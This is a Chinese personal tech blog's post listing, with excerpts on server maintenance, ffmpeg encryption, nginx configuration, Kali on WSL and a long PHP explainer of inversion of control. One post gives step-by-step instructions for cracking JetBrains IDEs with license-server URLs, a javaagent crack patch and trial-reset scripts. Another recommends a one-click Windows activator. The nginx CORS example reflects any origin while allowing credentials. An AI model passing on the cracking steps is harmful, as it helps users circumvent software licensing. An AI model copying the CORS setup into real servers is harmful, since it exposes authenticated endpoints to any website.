首页
关于
Search
1
2022最新WPS政府/教育版合集
3,282 阅读
2
欢迎使用 Typecho
3,100 阅读
3
thinkphp 做301重定向跳转
2,550 阅读
4
IDE 注册教程
2,382 阅读
5
nginx反向代理设置泛目录解析
2,372 阅读
源码
教程
HTML
JAVASCRIPT
PHP
MYSQL
系统
LINUX
WINDOWS
填坑
工具
登录
/
注册
Search
标签搜索
系统工具
内网穿透
PHPDesktop
TaurusCoders
累计撰写
52
篇文章
累计收到
1
条评论
首页
栏目
源码
教程
HTML
JAVASCRIPT
PHP
MYSQL
系统
LINUX
WINDOWS
填坑
工具
页面
关于
搜索到
52
篇与
iprub
的结果
2022-02-27
阿里云ECS数据盘扩容操作
服务器系统是Centos7,环境是宝塔面板,数据都存在宝塔默认目录www;数据盘在使用一段时间后满了,然后在阿里云控制台云盘管理中直接扩容满了的那个盘。扩容之后登录服务器查看数据盘依旧是原来大小,解决办法:
2022年02月27日
1,315 阅读
0 评论
0 点赞
2022-02-21
使用ffmpeg视频切片并加密
想达到的目的:将一个mp4视频文件切割为多个ts片段,并在切割过程中对每一个片段使用 AES-128 加密,最后生成一个m3u8的视频索引文件;电脑环境 Fedora,已经安装了最新的ffmpeg;如果要加密,首先准备好一下两个东西: 加密用的 keyopenssl rand 16 > enc.key ( 生成一个enc.key文件 ) 另一个是 ivopenssl rand -hex 16 ( 生成一段字符串,记下来) 新建一个文件 enc.keyinfo 内容格式如下:Key URI # enc.key的路径,使用http形式 Path to key file # enc.key文件 IV # 上面生成的iv 几个例子:http://localhost/video/enc.keyenc.key 48c674428c1e719751565ad00fe24243 最后重点来了 ffmpeg -y \-i test.mp4 \-hls_time 12 \ # 将test.mp4分割成每个小段多少秒-hls_key_info_file enc.keyinfo \-hls_playlist_type vod \ # vod 是点播,表示PlayList不会变-hls_segment_filename "file%d.ts" \ # 每个小段的文件名 playlist.m3u8 # 生成的m3u8文件 生成的m3u8文件可以通过大部分播放器直接播放
2022年02月21日
2,338 阅读
0 评论
0 点赞
2022-01-28
windows安装OpenSSL
说明openssl是一个强大的安全套接字密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其他目的使用。openssl整个软件可以分为三个主要的功能部分:密码算法库、SSL协议库以及应用程序。安装openssl有两种方式,第一种是下载源码,自己编译;第二种是装上安装包即可运行安装方式一建议直接跳过,看第二种安装方式1、下载打开官网https://www.openssl.org找到对应版本下载,我这里是windows的64位 2、安装解压安装包,比如我解压到D盘了。D:\openssl-1.1.1d后续步骤百度会有很多,比如:https://blog.csdn.net/zkz10086/article/details/81567509https://blog.csdn.net/q13554515812/article/details/92083595https://www.cnblogs.com/wyt007/p/8022199.htmlhttps://www.jianshu.com/p/78bd18af06a0但是这样太麻烦了,至此,这种原汁原味的安装方法结束 安装方式二1. 下载和安装下载其他人做的便捷版安装包http://slproweb.com/products/Win32OpenSSL.html 一直狂点下一步就行了,最后记得要赞助$10给作者哦2. 配置环境变量配置环境变量,老生常谈,这里简单贴一下配置OPENSSL_HOMEopenssl version
2022年01月28日
1,601 阅读
0 评论
0 点赞
2022-01-28
2022最新WPS政府/教育版合集
【教育考试专版】下载地址:http://ncre.neea.edu.cn/html1/report/1507/861-1.htm 【温州大学】http://itc.wzu.edu.cn/info/1032/3661.htm 【云南师范大学】https://it.ynnu.edu.cn/info/1146/2421.htm 【西南民族大学】http://ms.swun.edu.cn/download/wps.html 【大庆市人民政府】http://www.daqing.gov.cn/xiangguanxiazai/14436.html 【富蕴县党建网】http://www.xjfydj.com/P/C/66148.htm 【晋城市党政机关】https://wps.jcgov.gov.cn/downloadOffice 合集下载地址:https://www.123pan.com/s/VzVA-murbd 提取码:9neD
2022年01月28日
3,282 阅读
0 评论
0 点赞
2022-01-05
Multipass 使用详解
Multipass 的基础学习使用起来很简洁直观,在整体操作上和 docker 类似,如果想在自己电脑上快速搭建一个 Linux 系统用于学习的话,选择使用 Multipass 还是非常方便的
2022年01月05日
2,124 阅读
0 评论
0 点赞
idea激活
1. 在Licence Server 激活:(以下总有可以的吧))http://idea.imsxm.com/ (亲测直至目前均可用)http://www.0-php.com:1017http://idea.singee77.com/ http://idea.lanyus.com/ http://idea.qinxi1992.cn/2. 浏览器打开 http://idea.lanyus.com/ , 点击页面中的“获得注册码”,然后在注册时切换至Activation Code选项,输入获得的注册码一长串字符串,就可以注册成功!(推荐方法)本教程分享两种破解方法,小伙伴们二选一即可:1. 第一种:👉 [(补丁)无限重置 30天试用期]PS: 第一种仅适用于 PhpStorm 2021.2.2 (包含 2021.2.2 版本) 以下版本,可下载 PhpStorm 历史版本来使用。2. 第二种:👉 (补丁+激活码)可激活 PhpStorm 到 2099 年,即本文教程所写的,具体步骤跟着下面的图文教程一步一步来就行,一分钟即可搞定,过程也非常简单。无图无真相,下面截图是成功激活到 2099 的:注意本教程适用于 PhpStorm IntelliJ IDEA 2021.3 以下所有版本,请放心食用~本教程适用于 JetBrains 全系列产品,包括 IDEA、Pycharm、WebStorm、Phpstorm、Datagrip、RubyMine、CLion、AppCode 等。本教程适用 Windows/Mac/Linux 系统,文中以 Windows 系统为例做讲解,其他系统按照教程顺序即可。教程开始1. 运行 PhpStorm 2021.3 运行, 中间会先弹出一个注册框,我们勾选 Evaluate for free, 点击 Evaluate, 先试用30天:注意,如果没有弹出上面的界面,可先执行 reset_script 文件夹中的重置试用期脚本,脚本地址下文可获取,先进到 PhpStorm 里面打开该文件夹后,有对应系统的执行脚本,执行即可:windows系统:reset_jetbrains_eval_windows.vbs linux/mac系统:reset_jetbrains_eval_mac_linux.sh最新的 PhpStorm 2021.3 版本界面发生了变化,取消了直接试用 30 天的按钮,需要我们先注册一个 JetBrains,如下:PS: 部分小伙伴反映点击注册 PhpStorm 按钮后,网页打不开,无法访问,原因是因为他在 hosts 文件中添加了东西,删除还原回去就能正常访问了。注册账号并登录后,就可以试用2. 清空 IDEA 以前使用过的激活方式【非常重要】如果你之前安装过 PhpStorm, 那么修改过的 hosts 文件要还原回去、引用过的补丁要移除掉等, 不然可能会有各种奇奇怪怪的问题。3. 引用破解补丁包注册好 JetBrains 账号后,登录打开 PhpStorm, 先随便新建个项目或者打开个旧项目:然后依次点击菜单 Helo -> Edit Custom VM Options 来通过 PhpStorm 修改 idea.vmoptions 文件, 在末尾引用破解补丁,补丁下文可获取 :# 我这边将补丁放置在了D盘根目录下,小伙伴们可以根据自己实际的位置进行修改 -javaagent:D:\\FineAgent.jar4. 重启IDEA !重启PhpStorm!【非常重要,必须】引用补丁成功后,需要重启 PhpStorm,才能加载补丁。5. 填入激活码重启 PhpStorm 后,开始输入激活码,先将 ActivationCode.txt 文件中的激活码复制出来;输入激活码:至此,大功告成,可以看到我们已经成功激活到 2099 年了~
2022年01月05日
697 阅读
0 评论
0 点赞
2021-07-31
win10安装kali完整子系统
安装kali-linux准备到设置中开启开发人员模式控制面板—卸载—开启或关闭windows功能中开启子系统安装应用商店搜索kali linux,下载下载完成后启动kali-linux此时可先配置root用户登录,步骤看下文下文子系统迁移下载LxRunLinehttps://github.com查看子系统.\LxRunOffline.exe list创建文件并授予权限icacls E:\Kali-Linux /grant "STARS:(OI)(CI)(F)"迁移系统.\LxRunOffline.exe move -n kali-linux -d E:\Kali-Linux查看是否迁移成功.\LxRunOffline.exe get-dir -n kali-linux配置桌面使用root用户登录命令行输入kali config --default-user root重启服务net stop LxssManager net start LxssManager启动kali/或命令行输入kali修改密码passwd root下载vimapt-get install vim配置源vim /etc/apt/sources.list #中科大 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib #阿里云 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib #清华大学 deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free #浙大 deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free更新apt-get update apt-get upgrade下载桌面apt-get install kali-desktop-xfce #apt-get install xorg #apt-get install xfce4 apt-get install xrdp配置远程桌面vim /etc/xrdp/xrdp.ini 将两处3389端口改为3390重启服务service xrdp restart连接win+R,输入mstsc127.0.0.1:3390完整版apt-get install kali-linux-everything出现弹窗一路回车
2021年07月31日
732 阅读
0 评论
1 点赞
2021-06-17
nginx二级目录反向代理
location /htmls/ { proxy_pass http://domain/htmls/; proxy_set_header X-Real-IP $remote_addr; proxy_set_header REMOTE-HOST $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }
2021年06月17日
931 阅读
0 评论
0 点赞
2021-06-08
搭建PSI
进入主题,PSI的安装过程:1-源码下载地址:http://git.oschina.net/crm8000/PSI2-下载以后上传到网站的根目录,进行解压,解压以后的文件目录如下# cd /web/test.psi.com/wwwroot# ls -l3-创建数据库 创建库名为psi,字符集为utf8的库,授权psier用户来登录,密码为abcd.1234mysql> create database psi character set utf8;mysql> grant all on psi.* to 'psier'@'localhost' identified by 'abcd.1234';4-导入初始化数据库数据# cd doc/99\ SQL/# mysql -upsier -h127.0.0.1 -pabcd.1234 psi < 01CreateTables.sql --导入表结构# mysql -upsier -h127.0.0.1 -pabcd.1234 psi < 02InsertInitData.sql --导入初始化数据# mysql -upsier -h127.0.0.1 -pabcd.1234 psi < 99psi_demo_data.sql --导入测试数据(这一步可选,我没有导入)5-修改配置文件的数据库连接# vim web/Application/Common/Conf/config.php 修改function PSI_getUser和PSI_getPassword 中的return 值如下图修改以上两个地方,其他不变,保存退出。6-配置nginx.confserver { listen 80; server_name test.psi.com; root /web/test.psi.com/wwwroot; index index.html index.htm default.htm index.php; location / { if (!-e $request_filename){ rewrite ^/web/(.*)$ /web/index.php/$1 last; #--关键的配置,支持ThinkPHP的rewrite支持 } } location ~ .*\.php { #--经测试,必须以去除?$结尾,去掉$是为了不匹配行末,即可以匹配.php/,以实现pathinfo fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi.conf; include pathinfo.conf; #--关键的配置,支持ThinkPHP的pathinfo支持 } access_log logs/test.psi.com_access.log main; error_log logs/test.psi.com_error.log; }# cat /usr/local/nginx/conf/pathinfo.confset $real_script_name $fastcgi_script_name;if ($fastcgi_script_name ~ "(.+?\.php)(/.*)") {set $real_script_name $1;set $path_info $2; }fastcgi_param SCRIPT_FILENAME $document_root$real_script_name;fastcgi_param SCRIPT_NAME $real_script_name;fastcgi_param PATH_INFO $path_info;7-重启nginx# /usr/local/nginx/sbin/nginx -s reload8-浏览器测试访问
2021年06月08日
1,190 阅读
0 评论
0 点赞
2021-06-01
系统激活
解压后有一个bat文件,那个命令行自动执行的脚本文件,可以按提示操作。怕麻烦的可以直接用小马,一键激活。
2021年06月01日
763 阅读
0 评论
0 点赞
2021-04-26
深入理解控制反转(IoC)和依赖注入(DI)
容器,字面上理解就是装东西的东西。常见的变量、对象属性等都可以算是容器。一个容器能够装什么,全部取决于你对该容器的定义。当然,有这样一种容器,它存放的不是文本、数值,而是对象、对象的描述(类、接口)或者是提供对象的回调,通过这种容器,我们得以实现许多高级的功能,其中最常提到的,就是 “解耦” 、“依赖注入(DI)”。本文就从这里开始。IoC 容器, laravel 的核心Laravel 的核心就是一个 IoC 容器,根据文档,称其为“服务容器”,顾名思义,该容器提供了整个框架中需要的一系列服务。作为初学者,很多人会在这一个概念上犯难,因此,我打算从一些基础的内容开始讲解,通过理解面向对象开发中依赖的产生和解决方法,来逐渐揭开“依赖注入”的面纱,逐渐理解这一神奇的设计理念。本文一大半内容都是通过举例来让读者去理解什么是 IoC(控制反转) 和 DI(依赖注入),通过理解这些概念,来更加深入。更多关于 laravel 服务容器的用法建议阅读文档即可。IoC 容器诞生的故事讲解 IoC 容器有很多的文章,我之前也写过。但现在我打算利用当下的灵感重新来过,那么开始吧。超人和超能力,依赖的产生!面向对象编程,有以下几样东西无时不刻的接触:接口、类还有对象。这其中,接口是类的原型,一个类必须要遵守其实现的接口;对象则是一个类实例化后的产物,我们称其为一个实例。当然这样说肯定不利于理解,我们就实际的写点中看不中用的代码辅助学习。怪物横行的世界,总归需要点超级人物来摆平。我们把一个“超人”作为一个类,class Superman {}我们可以想象,一个超人诞生的时候肯定拥有至少一个超能力,这个超能力也可以抽象为一个对象,为这个对象定义一个描述他的类吧。一个超能力肯定有多种属性、(操作)方法,这个尽情的想象,但是目前我们先大致定义一个只有属性的“超能力”,至于能干啥,我们以后再丰富:class Power { /** * 能力值 */ protected $ability; /** * 能力范围或距离 */ protected $range; public function __construct($ability, $range) { $this->ability = $ability; $this->range = $range; } }这时候我们回过头,修改一下之前的“超人”类,让一个“超人”创建的时候被赋予一个超能力:class Superman{ protected $power; public function __construct() { $this->power = new Power(999, 100); } }这样的话,当我们创建一个“超人”实例的时候,同时也创建了一个“超能力”的实例,但是,我们看到了一点,“超人”和“超能力”之间不可避免的产生了一个依赖。所谓“依赖”,就是 “我若依赖你,我就不能离开你”。在一个贯彻面向对象编程的项目中,这样的依赖随处可见。少量的依赖并不会有太过直观的影响,我们随着这个例子逐渐铺开,让大家慢慢意识到,当依赖达到一个量级时,是怎样一番噩梦般的体验。当然,我也会自然而然的讲述如何解决问题。一堆乱麻 —— 可怕的依赖之前的例子中,超能力类实例化后是一个具体的超能力,但是我们知道,超人的超能力是多元化的,每种超能力的方法、属性都有不小的差异,没法通过一种类描述完全。我们现在进行修改,我们假设超人可以有以下多种超能力:飞行,属性有:飞行速度、持续飞行时间蛮力,属性有:力量值能量弹,属性有:伤害值、射击距离、同时射击个数我们创建了如下类:class Flight{ protected $speed; protected $holdtime; public function __construct($speed, $holdtime) {} }class Force{ protected $force; public function __construct($force) {} }class Shot{ protected $atk; protected $range; protected $limit; public function __construct($atk, $range, $limit) {} }*为了省事儿我没有详细写出 __construct() 这个构造函数的全部,只写了需要传递的参数。好了,这下我们的超人有点“忙”了。在超人初始化的时候,我们会根据需要来实例化其拥有的超能力吗,大致如下:class Superman{ protected $power; public function __construct() { $this->power = new Fight(9, 100); // $this->power = new Force(45); // $this->power = new Shot(99, 50, 2); /* $this->power = array( new Force(45), new Shot(99, 50, 2) ); */ } }我们需要自己手动的在构造函数内(或者其他方法里)实例化一系列需要的类,这样并不好。可以想象,假如需求变更(不同的怪物横行地球),需要更多的有针对性的 新的 超能力,或者需要 变更 超能力的方法,我们必须 重新改造 超人。换句话说就是,改变超能力的同时,我还得重新制造个超人。效率太低了!新超人还没创造完成世界早已被毁灭。这时,灵机一动的人想到:为什么不可以这样呢?超人的能力可以被随时更换,只需要添加或者更新一个芯片或者其他装置啥的(想到钢铁侠没)。这样的话就不要整个重新来过了。对,就是这样的。我们不应该手动在 “超人” 类中固化了他的 “超能力” 初始化的行为,而转由外部负责,由外部创造超能力模组、装置或者芯片等(我们后面统一称为 “模组”),植入超人体内的某一个接口,这个接口是一个既定的,只要这个 “模组” 满足这个接口的装置都可以被超人所利用,可以提升、增加超人的某一种能力。这种由外部负责其依赖需求的行为,我们可以称其为 “控制反转(IoC)”。工厂模式,依赖转移!当然,实现控制反转的方法有几种。在这之前,不如我们先了解一些好玩的东西。我们可以想到,组件、工具(或者超人的模组),是一种可被生产的玩意儿,生产的地方当然是 “工厂(Factory)”,于是有人就提出了这样一种模式: 工厂模式。工厂模式,顾名思义,就是一个类所依赖的外部事物的实例,都可以被一个或多个 “工厂” 创建的这样一种开发模式,就是 “工厂模式”。我们为了给超人制造超能力模组,我们创建了一个工厂,它可以制造各种各样的模组,且仅需要通过一个方法:class SuperModuleFactory{ public function makeModule($moduleName, $options) { switch ($moduleName) { case 'Fight': return new Fight($options[0], $options[1]); case 'Force': return new Force($options[0]); case 'Shot': return new Shot($options[0], $options[1], $options[2]); } } }这时候,超人 创建之初就可以使用这个工厂!class Superman{ protected $power; public function __construct() { // 初始化工厂 $factory = new SuperModuleFactory; // 通过工厂提供的方法制造需要的模块 $this->power = $factory->makeModule('Fight', [9, 100]); // $this->power = $factory->makeModule('Force', [45]); // $this->power = $factory->makeModule('Shot', [99, 50, 2]); /* $this->power = array( $factory->makeModule('Force', [45]), $factory->makeModule('Shot', [99, 50, 2]) ); */ } }可以看得出,我们不再需要在超人初始化之初,去初始化许多第三方类,只需初始化一个工厂类,即可满足需求。但这样似乎和以前区别不大,只是没有那么多 new 关键字。其实我们稍微改造一下这个类,你就明白,工厂类的真正意义和价值了。class Superman{ protected $power; public function __construct(array $modules) { // 初始化工厂 $factory = new SuperModuleFactory; // 通过工厂提供的方法制造需要的模块 foreach ($modules as $moduleName => $moduleOptions) { $this->power[] = $factory->makeModule($moduleName, $moduleOptions); } } }// 创建超人$superman = new Superman([ 'Fight' => [9, 100], 'Shot' => [99, 50, 2] ]);现在修改的结果令人满意。现在,“超人” 的创建不再依赖任何一个 “超能力” 的类,我们如若修改了或者增加了新的超能力,只需要针对修改 SuperModuleFactory 即可。扩充超能力的同时不再需要重新编辑超人的类文件,使得我们变得很轻松。但是,这才刚刚开始。再进一步!IoC 容器的重要组成 —— 依赖注入!由 “超人” 对 “超能力” 的依赖变成 “超人” 对 “超能力模组工厂” 的依赖后,对付小怪兽们变得更加得心应手。但这也正如你所看到的,依赖并未解除,只是由原来对多个外部的依赖变成了对一个 “工厂” 的依赖。假如工厂出了点麻烦,问题变得就很棘手。其实大多数情况下,工厂模式已经足够了。工厂模式的缺点就是:接口未知(即没有一个很好的契约模型,关于这个我马上会有解释)、产生对象类型单一。总之就是,还是不够灵活。虽然如此,工厂模式依旧十分优秀,并且适用于绝大多数情况。不过我们为了讲解后面的 依赖注入 ,这里就先夸大一下工厂模式的缺陷咯。我们知道,超人依赖的模组,我们要求有统一的接口,这样才能和超人身上的注入接口对接,最终起到提升超能力的效果。事实上,我之前说谎了,不仅仅只有一堆小怪兽,还有更多的大怪兽。嘿嘿。额,这时候似乎工厂的生产能力显得有些不足 —— 由于工厂模式下,所有的模组都已经在工厂类中安排好了,如果有新的、高级的模组加入,我们必须修改工厂类(好比增加新的生产线):class SuperModuleFactory{ public function makeModule($moduleName, $options) { switch ($moduleName) { case 'Fight': return new Fight($options[0], $options[1]); case 'Force': return new Force($options[0]); case 'Shot': return new Shot($options[0], $options[1], $options[2]); // case 'more': ....... // case 'and more': ....... // case 'and more': ....... // case 'oh no! its too many!': ....... } } }看到没。。。噩梦般的感受!其实灵感就差一步!你可能会想到更为灵活的办法!对,下一步就是我们今天的主要配角 —— DI (依赖注入)由于对超能力模组的需求不断增大,我们需要集合整个世界的高智商人才,一起解决问题,不应该仅仅只有几个工厂垄断负责。不过高智商人才们都非常自负,认为自己的想法是对的,创造出的超能力模组没有统一的接口,自然而然无法被正常使用。这时我们需要提出一种契约,这样无论是谁创造出的模组,都符合这样的接口,自然就可被正常使用。interface SuperModuleInterface{ /** * 超能力激活方法 * * 任何一个超能力都得有该方法,并拥有一个参数 *@param array $target 针对目标,可以是一个或多个,自己或他人 */ public function activate(array $target); }上文中,我们定下了一个接口 (超能力模组的规范、契约),所有被创造的模组必须遵守该规范,才能被生产。其实,这就是 php 中 接口( interface ) 的用处和意义!很多人觉得,为什么 php 需要接口这种东西?难道不是 java 、 C# 之类的语言才有的吗?这么说,只要是一个正常的面向对象编程语言(虽然 php 可以面向过程),都应该具备这一特性。因为一个 对象(object) 本身是由他的模板或者原型 —— 类 (class) ,经过实例化后产生的一个具体事物,而有时候,实现统一种方法且不同功能(或特性)的时候,会存在很多的类(class),这时候就需要有一个契约,让大家编写出可以被随时替换却不会产生影响的接口。这种由编程语言本身提出的硬性规范,会增加更多优秀的特性。虽然有些绕,但通过我们接下来的实例,大家会慢慢领会接口带来的好处。这时候,那些提出更好的超能力模组的高智商人才,遵循这个接口,创建了下述(模组)类:/** * X-超能量 */class XPower implements SuperModuleInterface{ public function activate(array $target) { // 这只是个例子。。具体自行脑补 } }/** * 终极炸弹 (就这么俗) */class UltraBomb implements SuperModuleInterface{ public function activate(array $target) { // 这只是个例子。。具体自行脑补 } }同时,为了防止有些 “砖家” 自作聪明,或者一些叛徒恶意捣蛋,不遵守契约胡乱制造模组,影响超人,我们对超人初始化的方法进行改造:class Superman{ protected $module; public function __construct(SuperModuleInterface $module) { $this->module = $module } }改造完毕!现在,当我们初始化 “超人” 类的时候,提供的模组实例必须是一个 SuperModuleInterface 接口的实现。否则就会提示错误。正是由于超人的创造变得容易,一个超人也就不需要太多的超能力,我们可以创造多个超人,并分别注入需要的超能力模组即可。这样的话,虽然一个超人只有一个超能力,但超人更容易变多,我们也不怕怪兽啦!现在有人疑惑了,你要讲的 依赖注入 呢?其实,上面讲的内容,正是依赖注入。什么叫做 依赖注入?本文从开头到现在提到的一系列依赖,只要不是由内部生产(比如初始化、构造函数 __construct 中通过工厂方法、自行手动 new 的),而是由外部以参数或其他形式注入的,都属于 依赖注入(DI) 。是不是豁然开朗?事实上,就是这么简单。下面就是一个典型的依赖注入:// 超能力模组$superModule = new XPower;// 初始化一个超人,并注入一个超能力模组依赖$superMan = new Superman($superModule);关于依赖注入这个本文的主要配角,也就这么多需要讲的。理解了依赖注入,我们就可以继续深入问题。慢慢走近今天的主角……更为先进的工厂 —— IoC 容器!刚刚列了一段代码:$superModule = new XPower;$superMan = new Superman($superModule);读者应该看出来了,手动的创建了一个超能力模组、手动的创建超人并注入了刚刚创建超能力模组。呵呵,手动。现代社会,应该是高效率的生产,干净的车间,完美的自动化装配。一群怪兽来了,如此低效率产出超人是不现实,我们需要自动化 —— 最多一条指令,千军万马来相见。我们需要一种高级的生产车间,我们只需要向生产车间提交一个脚本,工厂便能够通过指令自动化生产。这种更为高级的工厂,就是工厂模式的升华 —— IoC 容器。class Container{ protected $binds; protected $instances; public function bind($abstract, $concrete) { if ($concrete instanceof Closure) { $this->binds[$abstract] = $concrete; } else { $this->instances[$abstract] = $concrete; } } public function make($abstract, $parameters = []) { if (isset($this->instances[$abstract])) { return $this->instances[$abstract]; } array_unshift($parameters, $this); return call_user_func_array($this->binds[$abstract], $parameters); } }这时候,一个十分粗糙的容器就诞生了。现在的确很简陋,但不妨碍我们进一步提升他。先着眼现在,看看这个容器如何使用吧!// 创建一个容器(后面称作超级工厂)$container = new Container;// 向该 超级工厂 添加 超人 的生产脚本$container->bind('superman', function($container, $moduleName) { return new Superman($container->make($moduleName)); });// 向该 超级工厂 添加 超能力模组 的生产脚本$container->bind('xpower', function($container) { return new XPower; });// 同上$container->bind('ultrabomb', function($container) { return new UltraBomb; });// ****************** 华丽丽的分割线 **********************// 开始启动生产$superman_1 = $container->make('superman', ['xpower']);$superman_2 = $container->make('superman', ['ultrabomb']);$superman_3 = $container->make('superman', ['xpower']);// ...随意添加看到没?通过最初的 绑定(bind) 操作,我们向 超级工厂 注册了一些生产脚本,这些生产脚本在生产指令下达之时便会执行。发现没有?我们彻底的解除了 超人 与 超能力模组 的依赖关系,更重要的是,容器类也丝毫没有和他们产生任何依赖!我们通过注册、绑定的方式向容器中添加一段可以被执行的回调(可以是匿名函数、非匿名函数、类的方法)作为生产一个类的实例的 脚本 ,只有在真正的 生产(make) 操作被调用执行时,才会触发。这样一种方式,使得我们更容易在创建一个实例的同时解决其依赖关系,并且更加灵活。当有新的需求,只需另外绑定一个“生产脚本”即可。实际上,真正的 IoC 容器更为高级。我们现在的例子中,还是需要手动提供超人所需要的模组参数,但真正的 IoC 容器会根据类的依赖需求,自动在注册、绑定的一堆实例中搜寻符合的依赖需求,并自动注入到构造函数参数中去。Laravel 框架的服务容器正是这么做的。实现这种功能其实理论上并不麻烦,但我并不会在本文中写出,因为……我懒得写。不过我告诉大家,这种自动搜寻依赖需求的功能,是通过 反射(Reflection) 实现的,恰好的,php 完美的支持反射机制!关于反射,php 官方文档有详细的资料,并且中文翻译基本覆盖,足够学习和研究!http://php.net/manual/zh/book...现在,到目前为止,我们已经不再惧怕怪兽们了。高智商人才集思广益,井井有条,根据接口契约创造规范的超能力模组。超人开始批量产出。最终,人人都是超人,你也可以是哦!回归正常世界。我们开始重新审视 laravel 的核心。现在,我们开始慢慢解读 laravel 的核心。其实,laravel 的核心就是一个 IoC 容器,也恰好是我之前所说的高级的 IoC 容器。可以说,laravel 的核心本身十分轻量,并没有什么很神奇很实质性的应用功能。很多人用到的各种功能模块比如 Route(路由)、Eloquent ORM(数据库 ORM 组件)、Request and Response(请求和响应)等等等等,实际上都是与核心无关的类模块提供的,这些类从注册到实例化,最终被你所使用,其实都是 laravel 的服务容器负责的。我们以大家最常见的 Route 类作为例子。大家可能经常见到路由定义是这样的:Route::get('/', function() { // bla bla bla...});实际上, Route 类被定义在这个命名空间:Illuminate\Routing\Router,文件 vendor/laravel/framework/src/Illuminate/Routing/Router.php。我们通过打开发现,这个类的这一系列方法,如 get,post,any 等都不是静态(static)方法,这是怎么一回事儿?不要急,我们继续。服务提供者我们在前文介绍 IoC 容器的部分中,提到了,一个类需要绑定、注册至容器中,才能被“制造”。对,一个类要被容器所能够提取,必须要先注册至这个容器。既然 laravel 称这个容器叫做服务容器,那么我们需要某个服务,就得先注册、绑定这个服务到容器,那么提供服务并绑定服务至容器的东西,就是 服务提供者(ServiceProvider)。虽然,绑定一个类到容器不一定非要通过 服务提供者(ServiceProvider) 。但是,我们知道,有时候我们的类、模块会有需要其他类和组件的情况,为了保证初始化阶段不会出现所需要的模块和组件没有注册的情况,laravel 将注册和初始化行为进行拆分,注册的时候就只能注册,初始化的时候就是初始化。拆分后的产物就是现在的 服务提供者。服务提供者主要分为两个部分,register(注册) 和 boot(引导、初始化),具体参考文档。register 负责进行向容器注册“脚本”,但要注意注册部分不要有对未知事物的依赖,如果有,就要移步至 boot 部分。Facade我们现在解答之前关于 Route 的方法为何能以静态方法访问的问题。实际上这个问题文档上有写,简单说来就是模拟一个类,提供一个静态魔术方法__callStatic,并将该静态方法映射到真正的方法上。我们使用的 Route 类实际上是 Illuminate\Support\Facades\Route 通过 class_alias() 函数创造的 别名 而已,这个类被定义在文件 vendor/laravel/framework/src/Illuminate/Support/Facades/Route.php 。我们打开文件一看……诶?怎么只有这么简单的一段代码呢?<?php namespace Illuminate\Support\Facades;/** * @see \Illuminate\Routing\Router */class Route extends Facade { /** * Get the registered name of the component. * * @return string */ protected static function getFacadeAccessor() { return 'router'; } }其实仔细看,会发现这个类继承了一个叫做 Facade 的类,到这里谜底差不多要解开了。上述简单的定义中,我们看到了 getFacadeAccessor 方法返回了一个 route,这是什么意思呢?事实上,这个值被一个 ServiceProvider 注册过,大家应该知道注册了个什么,当然是那个真正的路由类!有人会问,Facade 是怎么实现的。我并不想说得太细,一个是我懒,另一个原因就是,自己发现一些东西更容易理解,并不容易忘记。很多细节我已经说了,建议大家自行去研究。至此,我们已经讲的差不多了。和平!我们该总结总结了!无论如何,世界和平了。这里要总结的内容就是,其实很多事情并不复杂,怕的是复杂的理论内容。我觉得很多东西一旦想通也就那么回事儿。很多人觉得 laravel 这不好那不好、这里难哪里难,我只能说,laravel 的确不是一流和优秀的框架,说 laravel 是一流、优秀的框架的人,不是 laravel 的粉丝那么就是跟风炒作。Laravel 最大的特点和优秀之处就是使用了很多 php 比较新(实际上并不新)的概念和技术(也就一堆语法糖)而已。因此 laravel 的确符合一个适宜学习的框架。Laravel 的构思的确和其他框架有很大不同,这也要求学习他的人必须熟练 php,并 基础扎实!如果你觉得学 laravel 框架十分困难,那么原因只有一个:你 php 基础不好。另外,善于利用命名空间和面向对象的诸多特性,去追寻一些东西,你会发现,原来这一切这么容易。
2021年04月26日
770 阅读
0 评论
0 点赞
2021-03-18
nginx 跨域设置
很多人都会遇到 Nginx 跨域的问题, 而我遇到的问题是:客户端在 www.a.com服务端在 www.b.comNginx 在 www.c.com此时需要对 Nginx 进行跨域配置才可以访问 www.c.com 的获取客户端 www.a.com 来请求 www.b.com 的数据, 我的 Nginx 配置如下(重要部分):location / { add_header 'Access-Control-Allow-Origin' $http_origin; add_header 'Access-Control-Allow-Credentials' 'true'; add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS'; add_header 'Access-Control-Allow-Headers' 'DNT,web-token,app-token,Authorization,Accept,Origin,Keep-Alive,User-Agent,X-Mx-ReqToken,X-Data-Type,X-Auth-Token,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range'; add_header 'Access-Control-Expose-Headers' 'Content-Length,Content-Range'; if ($request_method = 'OPTIONS') { add_header 'Access-Control-Max-Age' 1728000; add_header 'Content-Type' 'text/plain; charset=utf-8'; add_header 'Content-Length' 0; return 204; } root html; proxy_pass http://xxx:8000/; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_connect_timeout 5; }别忘了把配置中 proxy_pass 对应的 http://xxx:8000/ 地址换成你的服务地址, 当然了, 你的客户端请求的地址不可以是你的服务地址, 而是 Nginx 的地址, 这样就可以达到解决跨域的问题。
2021年03月18日
830 阅读
0 评论
0 点赞
2020-08-05
js获取url参数值
